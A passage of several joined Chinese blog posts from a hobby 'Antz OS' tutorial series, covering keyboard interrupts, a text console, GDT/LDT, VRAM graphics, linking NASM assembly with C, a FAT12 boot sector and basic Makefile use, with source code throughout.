4, write_y, COL8_FFFFFF, "Not Found"); } // 命令缓存清除 sprintf(command,"%s",""); } void key(struct BOOTINFO *binfo,char s[40]){ if((strcmp(s,"1C")==0)||(strcmp(s,"9C")==0)){ action_command(binfo); write_x = 58 ; write_y += 19 ; putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); }else if((strcmp(s,"3B")==0)||(strcmp(s,"BB")==0)){ //关于F1的响应中断 sprintf(command,"%s",""); flag = 0 ; new_pe(binfo); putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); }else if(strcmp(s,"0E")==0){ // 回退 write_x -= 8 ; boxfill8(binfo->vram, binfo->scrnx , COL8_000000, write_x, write_y, write_x+19, write_y+19); if(write_x<=58){ write_x = 146 ; write_y -= 19 ; } }else { //putfonts8_asc(binfo->vram, binfo->scrnx, write_x, write_y, COL8_FFFFFF, s); putfonts8_asc(binfo->vram, binfo->scrnx, write_x, write_y, COL8_FFFFFF, replace_char(s)); add_command(replace_char(s)); write_x += 8 ; // 添加响应区 //清除 //boxfill8(binfo->vram, binfo->scrnx, COL8_008400 , 300 ,240 ,310 ,250); //打印字符 Only use debug //putfonts8_asc(binfo->vram, binfo->scrnx, 300, 240 ,COL8_000000, s) ; } if(write_x>148){ write_x = 58 ; write_y += 19 ; //putfonts8_asc(binfo->vram, binfo->scrnx, 4, 57, COL8_FFFFFF, "AntzOS>"); } if(write_y>180){ new_pe(binfo); putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); } } void main(void) { struct BOOTINFO *binfo = (struct BOOTINFO *) ADR_BOOTINFO; char s[40], mcursor[256], keybuf[32], mousebuf[128]; int mx, my, i; init_gdtidt(); init_pic(); io_sti(); /* PIC的初始化已经完成*/ fifo8_init(&keyfifo, 32, keybuf); fifo8_init(&mousefifo, 128, mousebuf); io_out8(PIC0_IMR, 0xf9); /* 开放PIC1和键盘中断(11111001) */ io_out8(PIC1_IMR, 0xef); /* 开放鼠标中断(11101111) */ init_keyboard(); init_palette(); init_screen8(binfo->vram, binfo->scrnx, binfo->scrny); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_FFFFFF, "Terminal-Antz"); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_000000, "Terminal-Antz"); putfonts8_asc(binfo->vram, binfo->scrnx, 107, 0, COL8_000000, "|-|o|x|"); putfonts8_asc(binfo->vram, binfo->scrnx, 4, 19, COL8_FFFFFF, "AntzOS> SayHello()"); putfonts8_asc(binfo->vram, binfo->scrnx, 4, 38, COL8_FFFFFF, "Hello My AntzOs."); putfonts8_asc(binfo->vram, binfo->scrnx, 4, 57, COL8_FFFFFF, "AntzOS>_"); for (;;) { io_cli(); if (fifo8_status(&keyfifo) + fifo8_status(&mousefifo) == 0) { io_stihlt(); } else { if (fifo8_status(&keyfifo) != 0) { i = fifo8_get(&keyfifo); io_sti(); sprintf(s, "%02X", i); if (flag){ key(binfo,s); } if(flag==1){ flag = 0 ; }else { flag = 1 ; } } } } } void new_pe(struct BOOTINFO *binfo){ write_x = 58 ; write_y = 19 ; // 右边并没有保存 init_screen8(binfo->vram, binfo->scrnx, binfo->scrny); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_FFFFFF, "Terminal-Antz"); putfonts8_asc(binfo->vram, binfo->scrnx, 0, 0, COL8_000000, "Terminal-Antz"); putfonts8_asc(binfo->vram, binfo->scrnx, 107, 0, COL8_000000, "|-|o|x|"); // 此处保留此输出,交给调用者自己 // putfonts8_asc(binfo->vram, binfo->scrnx, 4, write_y, COL8_FFFFFF, "AntzOS>"); }
我已经规范了系统代码风格,类似于按照linux分包,把各部分功能区分开了 Antz系统更新地址 Linux内核源码分析地址 Github项目地址 在之前的任务中,我们已经通过直接操作显卡驱动完成了简单的图形化。 需要了解之前的部分: 直接操作显卡请参考day03 简单图形化的实现请参考day09 Makefile 项目目录 console的图形化实现与规则均在main/bootpack.c中完成 interrupt/int.c 中实现了键盘中断处理,按键会中断两次,一次按下,一次弹起,在响应处理中,只需要处理第一次按下即可。 一 . 键盘按键 如何来判断中断来自于键盘?(代码如下) // gdt初始化操作... // fifo加载操作... if (fifo8_status(&keyfifo) != 0) { // True则说明中断来自于键盘 i = fifo8_get(&keyfifo); io_sti(); // i 就是中断返回的值,分析他即可得到按键信息, 在下面我把它转换为了16进制存储在了一个char array s中 sprintf(s, "%02X", i); // 把两次中断变为一次,看下文 } 得到了s,就是得到了键盘按键的信息。 开头说了,按下一次,会有两次中断发生,那么我们是否可以使用一个flag来区分按下和弹起呢? if (flag){ keyshow(); // 显示这次按键,把按下的中断当作一个键位的信息,把弹起的中断用下面flag的方法屏蔽掉 } // 屏蔽 if(flag==1){ flag = 0 ; }else { flag = 1 ; } 这是一个很拙略的实现方法,而且我测试了几次之后发现有一个bug,就是同时按下两个键位时,屏蔽的方法就会变成另一种。 比如开始是用按下识别一个键位,那么同时按下两个键位之后就是以弹起的方法来识别键位了。 这个情况留在之后再考虑。 二 . 按键识别 上文中已经将按键返回的数据存储到了char数组s,只需要在屏幕上显示s的数据就可以了。 int write_x = 55 ; //按键显示位置的x,y坐标 int write_y = 57 ; void key(struct BOOTINFO *binfo,char s[40]){ //在指定位置显示数据 showkeys(binfo->vram, binfo->scrnx, write_x, write_y, COL8_FFFFFF, s); // 显示之后光标右移 write_x += 19 ; // 如果超出右边界,换行 if(write_x>155){ write_x = 55 ; write_y += 19 ; } // 如果超出下边界,刷新清理本页,开启新的一页 if(write_y>180){ new_pe(binfo); } } 结果: 很明显,我们需要编写一种转换机制,将表示16进制的数据对应成为键盘按键。 键盘上需要显示的有字母和特殊符号,还有一些功能性的按键shift,backspace等。 测试记录了几个按键的按下数据 键盘 按下 F1 3B F2 3C F3 3D F4 3E A 1E B 30 Backspace OE 空格 39 既然已经知道了对应关系,那么很容易就可以建立一种对应。 先来实现这几个特殊按键功能 我打算将 F1 实现为 clear 功能,实现页面刷新 。 Backspace 实现回退功能。Enter实现确定以及回车功能。 void showkey(struct BOOTINFO *binfo,char s[40]){ // 回车键 if(strcmp(s,"1C")==0){ write_x = 55 ; // 光标移动至下一行起始位置。 write_y += 19 ; showkeys(binfo->vram, binfo->scrnx, 0, write_y, COL8_FFFFFF, "AntzOS>"); } // F1 刷新本页 else if(strcmp(s,"3B")==0){ new_pe(binfo); } // 空格 光标后移一位 else if(strcmp(s,"39")==0){ showkeys(binfo->vram, binfo->scrnx, write_x, write_y, COL8_FFFFFF, " "); write_x += 19 ; } // Backspace 删除退格 else if(strcmp(s,"0E")==0){ // 回退 write_x -= 19 ; //重新覆盖这片区域 area_flash(binfo->vram, binfo->scrnx , COL8_000000, write_x, write_y, write_x+19, write_y+19); } // 其他按键 else { showkeys(binfo->vram, binfo->scrnx, write_x, write_y, COL8_FFFFFF, s); write_x += 19 ; } if(write_x>155){ write_x = 55 ; write_y += 19 ; //putfonts8_asc(binfo->vram, binfo->scrnx, 4, 57, COL8_FFFFFF, "AntzOS>"); } if(write_y>180){ new_pe(binfo); } } 字母识别同理,当然可以比上面实现的更加完善更加简洁,但我仓促之下就只能先做到这一步。 三 . Bug引发的思考 这里开始就和AntzOs实现没有多少联系了,不过在我测试按键中断时候发现了很多奇怪的小问题。 Caps Lock(大小写键) 是否开启并不会影响中断对你一个按键的返回信息,也就是所谓的大小写中断其实是无法区分的,那么现代系统如何区分呢? 同理于上面我们区分按下和弹起两次中断,我们可以将Caps Lock键的状态获取到,从而对当前按键进行所谓的大小写区分。 按下两次导致规则置换,会不会是因为中断响应的时间导致的。
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,并且编写了我们自己的内核程序,接下来我们要完成界面的图形化,在显示屏中显示鼠标字符桌面,并显示一个终端界面。 效果如下: 现在我们已经简单实现了半终端半桌面的显示,虽然说非常Low,但也是Antz的一大步了。 1. 封装函数 在前几天我们已经说明了屏幕显示的原理,也就是在显存固定位置写入数据,这对于显卡来说就是像素点。 如果屏幕显示原理不清楚的可以参考第三天的:http://www.cnblogs.com/LexMoon/p/antz03.html 为了方便实现图像化,我将显卡写入的代码使用C语言封装成了函数,颜色定义为数组。 View Code 这个数组对应了我们要显示的颜色RGB值,将数组下标定义对应的枚举值,可以更加方便使用。 要在显示器显示字体,可以使用putfont8_asc ()函数,它调用了putfont8()函数: View Code 鼠标指针实现是将其呈图形化的写入,函数init_mouse_cursor8(): View Code 2 . GDT与lDT GDT是在32位时16位寻址模式的改造,在学习汇编时,我们所说的 段:偏移量(段x16+偏移量)寻址方式已经不能使用了,所以厂商们使用了GDT,在不改变段寄存器位数的情况下,完成了32位段寻址,就是利用GDT。 (1)全局描述符表GDT(Global Descriptor Table) 在整个系统中,全局描述符表GDT只有一张(一个处理器对应一个GDT),GDT可以被放在内存的任何位置,但CPU必须知道GDT的入口,也就是基地址放在哪里,Intel的设计者门提供了一个寄存器GDTR用来存放GDT的入口地址,程序员将GDT设定在内存中某个位置之后,可以通过LGDT指令将GDT的入口地址装入此寄存器,从此以后,CPU就根据此寄存器中的内容作为GDT的入口来访问GDT了。GDTR中存放的是GDT在内存中的基地址和其表长界限。 基地址指定GDT表中字节0在线性地址空间中的地址,表长度指明GDT表的字节长度值。指令LGDT和SGDT分别用于加载和保存GDTR寄存器的内容。在机器刚加电或处理器复位后,基地址被默认地设置为0,而长度值被设置成0xFFFF。在保护模式初始化过程中必须给GDTR加载一个新值。 (2)段选择子(Selector) 由GDTR访问全局描述符表是通过“段选择子”(实模式下的段寄存器)来完成的。段选择子是一个16位的寄存器(同实模式下的段寄存器相同) 段选择子包括三部分:描述符索引(index)、TI、请求特权级(RPL)。他的index(描述符索引)部分表示所需要的段的描述符在描述符表的位置,由这个位置再根据在GDTR中存储的描述符表基址就可以找到相应的描述符。然后用描述符表中的段基址加上逻辑地址(SEL:OFFSET)的OFFSET就可以转换成线性地址,段选择子中的TI值只有一位0或1,0代表选择子是在GDT选择,1代表选择子是在LDT选择。请求特权级(RPL)则代表选择子的特权级,共有4个特权级(0级、1级、2级、3级)。 关于特权级的说明:任务中的每一个段都有一个特定的级别。每当一个程序试图访问某一个段时,就将该程序所拥有的特权级与要访问的特权级进行比较,以决定能否访问该段。系统约定,CPU只能访问同一特权级或级别较低特权级的段。 例如给出逻辑地址:21h:12345678h转换为线性地址 a. 选择子SEL=21h=0000000000100 0 01b 他代表的意思是:选择子的index=4即100b选择GDT中的第4个描述符;TI=0代表选择子是在GDT选择;左后的01b代表特权级RPL=1 b. OFFSET=12345678h若此时GDT第四个描述符中描述的段基址(Base)为11111111h,则线性地址=11111111h+12345678h=23456789h (3)局部描述符表LDT(Local Descriptor Table) 局部描述符表可以有若干张,每个任务可以有一张。我们可以这样理解GDT和LDT:GDT为一级描述符表,LDT为二级描述符表。 关于GDT于IDT初始化的代码,它们可以实现鼠标的移动,现在我还没有去写它,此次的任务只是显示。 最新的Antz系统镜像和代码已经上传到我的github了,这里只列举出剩余的主要代码。 #include <stdio.h> struct BOOTINFO { char cyls, leds, vmode, reserve; short scrnx, scrny; char *vram; }; struct SEGMENT_DESCRIPTOR { short limit_low, base_low; char base_mid, access_right; char limit_high, base_high; }; struct GATE_DESCRIPTOR { short offset_low, selector; char dw_count, access_right; short offset_high; }; void init_gdtidt(void); void set_segmdesc(struct SEGMENT_DESCRIPTOR *sd, unsigned int limit, int base, int ar); void set_gatedesc(struct GATE_DESCRIPTOR *gd, int offset, int selector, int ar); void load_gdtr(int limit, int addr); void load_idtr(int limit, int addr); void HariMain(void) { struct BOOTINFO *binfo = (struct BOOTINFO *) 0x0ff0; char s[40], mcursor[256]; int mx, my; init_palette(); init_screen(binfo->vram, binfo->scrnx, binfo->scrny); mx = (binfo->scrnx - 16) / 2; /* 计算画面的中心坐标*/ my = (binfo->scrny - 28 - 16) / 2; init_mouse_cursor8(mcursor, COL8_00FFFF); putblock8_8(binfo->vram, binfo->scrnx, 16, 16, mx+20, my, mcursor, 16); for (;;) { io_hlt(); } } void set_palette(int start, int end, unsigned char *rgb) { int i, eflags; eflags = io_load_eflags(); /* 记录中断许可标志的值 */ io_cli(); /* 将中断许可标志置为0,禁止中断 */ io_out8(0x03c8, start); for (i = start; i <= end; i++) { io_out8(0x03c9, rgb[0] / 4); io_out8(0x03c9, rgb[1] / 4); io_out8(0x03c9, rgb[2] / 4); rgb += 3; } io_store_eflags(eflags); /* 复原中断许可标志 */ return; } void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1) { int x, y; for (y = y0; y <= y1; y++) { for (x = x0; x <= x1; x++) vram[y * xsize + x] = c; } return; } void init_screen(char *vram, int x, int y) { boxfill8(vram, x, COL8_00FFFF, 0, 0, x, y); boxfill8(vram, x, COL8_C6C6C6, 0, 0, x/2, y); boxfill8(vram, x, COL8_000000, 3, 15, x/2-3, y-3); boxfill8(vram, x, COL8_008400, 165 , 30, 215, 40); boxfill8(vram, x, COL8_008400, 265 , 30, 315, 40); boxfill8(vram, x, COL8_008400, 190 , 60, 200, 70); boxfill8(vram, x, COL8_008400, 280 , 60, 290, 70); boxfill8(vram, x, COL8_008400, 235 , 65, 245, 100); boxfill8(vram, x, COL8_008400, 235-15 , 65+40, 245-15, 85+30); boxfill8(vram, x, COL8_008400, 235 , 65+40, 245, 85+30); boxfill8(vram, x, COL8_008400, 235+15 , 65+40, 245+15, 85+30); boxfill8(vram, x, COL8_008400, 200 , 130, 280, 140); boxfill8(vram, x, COL8_008400, 200 , 130, 210, 160); boxfill8(vram, x, COL8_008400, 270 , 130, 280, 160); boxfill8(vram, x, COL8_008400, 200 , 150, 280, 160); return; } void putfont8(char *vram, int xsize, int x, int y, char c, char *font) { int i; char *p, d /* data */; for (i = 0; i < 16; i++) { p = vram + (y + i) * xsize + x; d = font[i]; if ((d & 0x80) != 0) { p[0] = c; } if ((d & 0x40) != 0) { p[1] = c; } if ((d & 0x10) != 0) { p[3] = c; } if ((d & 0x20) != 0) { p[2] = c; } if ((d & 0x08) != 0) { p[4] = c; } if ((d & 0x04) != 0) { p[5] = c; } if ((d & 0x02) != 0) { p[6] = c; } if ((d & 0x01) != 0) { p[7] = c; } } return; } void putfonts8_asc(char *vram, int xsize, int x, int y, char c, unsigned char *s) { extern char hankaku[4096]; /* C语言中,字符串都是以0x00结尾 */ for (; *s != 0x00; s++) { putfont8(vram, xsize, x, y, c, hankaku + *s * 16); x += 8; } return; } void init_mouse_cursor8(char *mouse, char bc) /* マウスカーソルを準備(16x16) */ { static char cursor[16][16] = { //鼠标图形 }; int x, y; for (y = 0; y < 16; y++) { for (x = 0; x < 16; x++) { if (cursor[y][x] == '*') { mouse[y * 16 + x] = COL8_000000; } if (cursor[y][x] == 'O') { mouse[y * 16 + x] = COL8_FFFFFF; } if (cursor[y][x] == '.') { mouse[y * 16 + x] = bc; } } } return; } void putblock8_8(char *vram, int vxsize, int pxsize, int pysize, int px0, int py0, char *buf, int bxsize) { int x, y; for (y = 0; y < pysize; y++) { for (x = 0; x < pxsize; x++) { vram[(py0 + y) * vxsize + (px0 + x)] = buf[y * bxsize + x]; } } return; }
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,并且编写了我们自己的内核程序,这个内核虽然什么也没有做,但还是成功被加载进内存了。接下来我们要将这个内核程序编写详细的内容了。 0. 切换堆栈和GDT 1 SELECTOR_KERNEL_CS equ 8 2 3 extern cstart 4 extern gdt_ptr 5 6 [SECTION .bss] 7 StackSpace resb 2 * 1024 8 StackTop: 9 10 [section .text] 11 global _start 12 13 _start: 14 mov esp, StackTop 15 sgdt [gdt_ptr] 16 call cstart 17 lgdt [gdt_ptr] 18 jmp SELECTOR_KERNEL_CS:csinit 19 csinit: 20 hlt 这四行代码就可以完成切换堆栈和更换GDT任务了。StackTop定义在.bss段中,大小为2KB,操作GDT时用到了gdt_ptr和cstart分别时一个全局变量和全局函数,定义在c代码start.c中。 #include "type.h" #include "const.h" #include "protect.h" PUBLIC void* memcpy(void* pDst, void* pSrc, int iSize); PUBLIC void disp_str(char * pszInfo); PUBLIC t_8 gdt_ptr[6]; PUBLIC DESCRIPTOR gdt[GDT_SIZE]; PUBLIC void cstart() { disp_str("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n-----\"cstart\" begins-----\n"); memcpy( &gdt, (void*)(*((t_32*)(&gdt_ptr[2]))), *((t_16*)(&gdt_ptr[0])) + 1 ); t_16* p_gdt_limit = (t_16*)(&gdt_ptr[0]); t_32* p_gdt_base = (t_32*)(&gdt_ptr[2]); *p_gdt_limit = GDT_SIZE * sizeof(DESCRIPTOR) - 1; *p_gdt_base = (t_32)&gdt; } cstart()首先把位于Loader中的原GDT全部复制给新的GDT,然后把gdt_ptr中的内容换为新的GDT的基地址和界限。复制GDT用的是memepy,至于它的函数定义就不详细写了,这个是c中非常出名的一个函数了。 当然还有一些类型,结构体和宏,这些可以放置在.h的头文件中。 protect.h : 1 #ifndef _TINIX_PROTECT_H_ 2 #define _TINIX_PROTECT_H_ 3 4 typedef struct s_descriptor /* 共 8 个字节 */ 5 { 6 t_16 limit_low; 7 t_16 base_low; 8 t_8 base_mid; 9 t_8 attr1; 10 t_8 limit_high_attr2; 11 t_8 base_high; 12 }DESCRIPTOR; 13 14 #endif type.h : 1 #ifndef _TINIX_TYPE_H_ 2 #define _TINIX_TYPE_H_ 3 4 5 typedef unsigned int t_32; 6 typedef unsigned short t_16; 7 typedef unsigned char t_8; 8 typedef int t_bool; 9 10 11 #endif const.h : 1 #ifndef _TINIX_CONST_H_ 2 #define _TINIX_CONST_H_ 3 4 5 #define PUBLIC 6 #define PRIVATE static 7 8 #define GDT_SIZE 128 9 10 11 #endif 接下来在linux下编译链接。 nasm -f elf -o kernel.o kernel.asm nasm -f elf -o string.o string.asm gcc -c -o start.o start.c ld -s -Ttext 0x30400 -o kernel.bin kernel.o string.o start.o 将bin使用工具写入(day01或者dd) ,打开查看结果。 可以看到cstart成功切换了堆栈与GDT。 1. Makefile 随着代码量的增多,编译链接的命令也越来越多了,你可能之前没有接触过Makefile,但这是一个非常高效的东西,值得学习。 Makefile 是和 make 命令一起配合使用的,很多大型项目的编译都是通过 Makefile 来组织的, 如果没有 Makefile, 那很多项目中各种库和代码之间的依赖关系不知会多复杂,Makefile的组织流程的能力如此之强, 不仅可以用来编译项目, 还可以用来组织我们平时的一些日常操作. 这个需要大家发挥自己的想象力.。 Makefile基本语法如下: 1 target ... : prerequisites ... 2 command 3 ... 1 target ... : prerequisites ; command 2 command 3 ... target也就是一个目标文件,可以是Object File,也可以是执行文件。还可以是一个标签(Label),对于标签这种特性,在后续的“伪目标”章节中会有叙述。 prerequisites就是要生成那个target所需要的文件或是目标。 command也就是make需要执行的命令。(任意的Shell命令) 这是一个文件的依赖关系,也就是说,target这一个或多个的目标文件依赖于prerequisites中的文件,其生成规则定义在command中。说白一点就是说,prerequisites中如果有一个以上的文件比target文件要新的话,command所定义的命令就会被执行。这就是Makefile的规则。也就是Makefile中最核心的内容。 来举个例子: 1 # Makefile for boot 2 3 # Programs, flags, etc. 4 ASM = nasm 5 ASMFLAGS = 6 7 # This Program 8 TARGET = boot.bin loader.bin 9 10 # All Phony Targets 11 .PHONY : everything clean all 12 13 # Default starting position 14 everything : $(TARGET) 15 16 clean : 17 rm -f $(TARGET) 18 19 all : clean everything 20 21 boot.bin : boot.asm ./include/load.inc ./include/fat12hdr.inc 22 $(ASM) $(ASMFLAGS) -o $@ $< 23 24 loader.bin : loader.asm ./include/load.inc ./include/fat12hdr.inc ./include/pm.inc 25 $(ASM) $(ASMFLAGS) -o $@ $< #是注释的意思, =用来定义变量 , ASM和ASMFLAGS就是两个变量,使用变量要用$(ASM)和$(ASMFLAGS) 。 对于 target : prerequistites command 意思就是想要得到target就需要指向命令command。 target依赖于prerequistites,当prerequistites中至少有一个文件比target文件新时,command才会执行。 看看最后两行,要想得到loader.bin就需要执行命令:$(ASM) $(ASMFLAGS) -o $@ $< loader.bin依赖于loader.asm load.inc fat12hdr.inc pm.inc ,这些中只要有一个比target新,command就会执行。 那么这里的command是什么意思呢? 1 $(ASM) $(ASMFLAGS) -o $@ $< $@ $< 其实就是target,prerequistites的第一个名字,所以这个命令等价于 1 nasm -o loader.bin loader.asm 此外你可能还发现了在外的大标签,他们是动作名称,如everything,all,clean,它们用于make后面,比如make all ,make clean,然后就会执行相应的当作。 对于Makefile我们目前只需要知道这些就可以了。 对于Antz内核的编写将会暂时停止几天,最近准备看看Linux内核的相关知识。同步会更新在https://www.cnblogs.com/LexMoon/category/1267413.html
Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs.com/LexMoon/category/1267413.html Github地址:https://github.com/CasterWx 在前几天的任务中,我们已经简单实现了MBR,直接操作显示器和硬盘操作来加载其他扇区的程序,如今已经可以进入保护模式了,简单引入了C语言,接下来我们编写自己的内核。 0. 汇编生成ELF 完成实模式到保护模式跳转的这一任务是由loader进行的,而我们不应该用loader做太多的事,loader只需要完成跳转就好了,剩下的工作交给内核。 为了加载内核到内存,需要使用ELF格式,如何编译这种格式呢? 来看看下面这个例子。 [section .data] strHello db "Hello, Antz !", 0Ah STRLEN equ $ - strHello [section .text] global _start _start: mov edx, STRLEN mov ecx, strHello mov ebx, 1 mov eax, 4 int 0x80 mov ebx, 0 mov eax, 1 int 0x80 global _start定义了程序的入口地址,相当于c/c++中main。 接下来使用NASM编译。 -f elf 指定了输出文件的格式为ELF格式。 编译完成之后要进行链接,链接指令如下: (出现警告,在linux无警告,Windows下会有,可以无视) -s是strip的简写,可以去掉符号表等内容,对生成的可执行代码进行减肥。 1. 汇编与C语言共同使用 我们已经可以生成一个支持载入内存的内核格式文件了,现在我们要学会把汇编程序和c语言程序链接在一起。这是我们编写内核的一大步。 先来看看c代码: 其中定义了一个choose函数,声明了一个myprint函数。 1 void myprint(char* msg, int len); 2 3 int choose(int a, int b) 4 { 5 if(a >= b){ 6 myprint("the 1st one\n", 13); 7 } 8 else{ 9 myprint("the 2nd one\n", 13); 10 } 11 12 return 0; 13 } 再来看看汇编代码: 1 extern choose 2 3 4 [section .data] ; 数据在此 5 6 num1st dd 3 7 num2nd dd 4 8 9 10 [section .text] ; 代码在此 11 12 global _start 13 global myprint 14 15 _start: 16 push num2nd 17 push num1st 18 call choose 19 add esp, 4 20 21 mov ebx, 0 22 mov eax, 1 23 int 0x80 24 25 ; void myprint(char* msg, int len) 26 myprint: 27 mov edx, [esp + 8] ; len 28 mov ecx, [esp + 4] ; msg 29 mov ebx, 1 30 mov eax, 4 ; sys_write 31 int 0x80 32 ret 33 如果你懂汇编,这个代码一定没有如何问题。 第一行的extern choose就是指c代码中定义的choose函数。 后面的global导出了函数入口,_start和在c文件中没有定义的myprint函数,myprint在汇编代码中完成了定义。 _start中调用了choose,choose中又调用了myprint函数。 这样这两个代码文件内容就很清晰了吧。 在Linux终端下查看结果: 1 nasm -f elf foo.asm -o foo.o 2 gcc -c bar.c -o bar.o 3 ld -s hello.o bar.o -o foobar 4 ./foobar 2. 从Loader到内核 加载内核到内存和引导扇区的工作很相似,只是处理内核时我们要根据ELF文件结构中的值将内核中相应段放入相应位置。 fat12hdr.inc : 1 BS_OEMName DB 'Antz__Os' 2 3 BPB_BytsPerSec DW 512 4 BPB_SecPerClus DB 1 5 BPB_RsvdSecCnt DW 1 6 BPB_NumFATs DB 2 7 BPB_RootEntCnt DW 224 8 BPB_TotSec16 DW 2880 9 BPB_Media DB 0xF0 10 BPB_FATSz16 DW 9 11 BPB_SecPerTrk DW 18 12 BPB_NumHeads DW 2 13 BPB_HiddSec DD 0 14 BPB_TotSec32 DD 0 15 16 17 BS_DrvNum DB 0 18 BS_Reserved1 DB 0 19 BS_BootSig DB 29h 20 BS_VolID DD 0 21 BS_VolLab DB 'Tinix0.01 ' 22 BS_FileSysType DB 'FAT12 ' 23 24 FATSz equ 9 25 RootDirSectors equ 14 26 27 SectorNoOfRootDirectory equ 19 28 SectorNoOfFAT1 equ 1 29 DeltaSectorNo equ 17 30 boot.asm : 1 org 07c00h 2 3 BaseOfStack equ 07c00h 4 BaseOfLoader equ 09000h 5 OffsetOfLoader equ 0100h 6 7 jmp short LABEL_START 8 nop 9 10 11 %include "fat12hdr.inc" 12 13 LABEL_START: 14 mov ax, cs 15 mov ds, ax 16 mov es, ax 17 mov ss, ax 18 mov sp, BaseOfStack 19 20 21 mov ax, 0600h 22 mov bx, 0700h 23 mov cx, 0 24 mov dx, 0184fh 25 int 10h 26 27 mov dh, 0 28 call DispStr 29 30 xor ah, ah 31 xor dl, dl 32 int 13h 33 34 mov word [wSectorNo], SectorNoOfRootDirectory 35 LABEL_SEARCH_IN_ROOT_DIR_BEGIN: 36 cmp word [wRootDirSizeForLoop], 0 37 jz LABEL_NO_LOADERBIN 38 dec word [wRootDirSizeForLoop] 39 mov ax, BaseOfLoader 40 mov es, ax 41 mov bx, OffsetOfLoader 42 mov ax, [wSectorNo] 43 mov cl, 1 44 call ReadSector 45 46 mov si, LoaderFileName 47 mov di, OffsetOfLoader 48 cld 49 mov dx, 10h 50 LABEL_SEARCH_FOR_LOADERBIN: 51 cmp dx, 0 52 jz LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR 53 dec dx 54 mov cx, 11 55 LABEL_CMP_FILENAME: 56 cmp cx, 0 57 jz LABEL_FILENAME_FOUND 58 dec cx 59 lodsb 60 cmp al, byte [es:di] 61 jz LABEL_GO_ON 62 jmp LABEL_DIFFERENT 63 64 LABEL_GO_ON: 65 inc di 66 jmp LABEL_CMP_FILENAME 67 68 LABEL_DIFFERENT: 69 and di, 0FFE0h 70 add di, 20h 71 mov si, LoaderFileName 72 jmp LABEL_SEARCH_FOR_LOADERBIN 73 74 LABEL_GOTO_NEXT_SECTOR_IN_ROOT_DIR: 75 add word [wSectorNo], 1 76 jmp LABEL_SEARCH_IN_ROOT_DIR_BEGIN 77 78 LABEL_NO_LOADERBIN: 79 mov dh, 2 80 call DispStr 81 %ifdef _BOOT_DEBUG_ 82 mov ax, 4c00h 83 int 21h 84 %else 85 jmp $ 86 %endif 87 88 LABEL_FILENAME_FOUND: 89 mov ax, RootDirSectors 90 and di, 0FFE0h 91 add di, 01Ah 92 mov cx, word [es:di] 93 push cx 94 add cx, ax 95 add cx, DeltaSectorNo 96 mov ax, BaseOfLoader 97 mov es, ax 98 mov bx, OffsetOfLoader 99 mov ax, cx 100 101 LABEL_GOON_LOADING_FILE: 102 push ax 103 push bx 104 mov ah, 0Eh 105 mov al, '.' 106 mov bl, 0Fh 107 int 10h 108 pop bx 109 pop ax 110 111 mov cl, 1 112 call ReadSector 113 pop ax 114 call GetFATEntry 115 cmp ax, 0FFFh 116 jz LABEL_FILE_LOADED 117 push ax 118 mov dx, RootDirSectors 119 add ax, dx 120 add ax, DeltaSectorNo 121 add bx, [BPB_BytsPerSec] 122 jmp LABEL_GOON_LOADING_FILE 123 LABEL_FILE_LOADED: 124 125 mov dh, 1 126 call DispStr 127 128 129 jmp BaseOfLoader:OffsetOfLoader 130 131 132 wRootDirSizeForLoop dw RootDirSectors 133 wSectorNo dw 0 134 bOdd db 0 135 136 137 LoaderFileName db "LOADER BIN", 0 138 139 MessageLength equ 9 140 BootMessage: db "Booting "; 141 Message1 db "Ready. "; 142 Message2 db "No LOADER"; 143 144 145 DispStr: 146 mov ax, MessageLength 147 mul dh 148 add ax, BootMessage 149 mov bp, ax 150 mov ax, ds 151 mov es, ax 152 mov cx, MessageLength 153 mov ax, 01301h 154 mov bx, 0007h 155 mov dl, 0 156 int 10h 157 ret 158 159 160 ReadSector: 161 push bp 162 mov bp, sp 163 sub esp, 2 164 165 mov byte [bp-2], cl 166 push bx 167 mov bl, [BPB_SecPerTrk] 168 div bl 169 inc ah 170 mov cl, ah 171 mov dh, al 172 shr al, 1 173 mov ch, al 174 and dh, 1 175 pop bx 176 177 mov dl, [BS_DrvNum] 178 .GoOnReading: 179 mov ah, 2 180 mov al, byte [bp-2] 181 int 13h 182 jc .GoOnReading 183 184 add esp, 2 185 pop bp 186 187 ret 188 189 GetFATEntry: 190 push es 191 push bx 192 push ax 193 mov ax, BaseOfLoader 194 sub ax, 0100h 195 mov es, ax 196 pop ax 197 mov byte [bOdd], 0 198 mov bx, 3 199 mul bx 200 mov bx, 2 201 div bx 202 cmp dx, 0 203 jz LABEL_EVEN 204 mov byte [bOdd], 1 205 LABEL_EVEN: 206 xor dx, dx 207 mov bx, [BPB_BytsPerSec] 208 div bx 209 210 push dx 211 mov bx, 0 212 add ax, SectorNoOfFAT1 213 mov cl, 2 214 call ReadSector 215 pop dx 216 add bx, dx 217 mov ax, [es:bx] 218 cmp byte [bOdd], 1 219 jnz LABEL_EVEN_2 220 shr ax, 4 221 LABEL_EVEN_2: 222 and ax, 0FFFh 223 224 LABEL_GET_FAT_ENRY_OK: 225 226 pop bx 227 pop es 228 ret 229 230 times 510-($-$$) db 0 231 dw 0xaa55 loader.asm: 1 org 0100h 2 3 BaseOfStack equ 0100h 4 5 BaseOfKernelFile equ 08000h 6 OffsetOfKernelFile equ 0h 7 8 jmp LABEL_START 9 10 11 %include 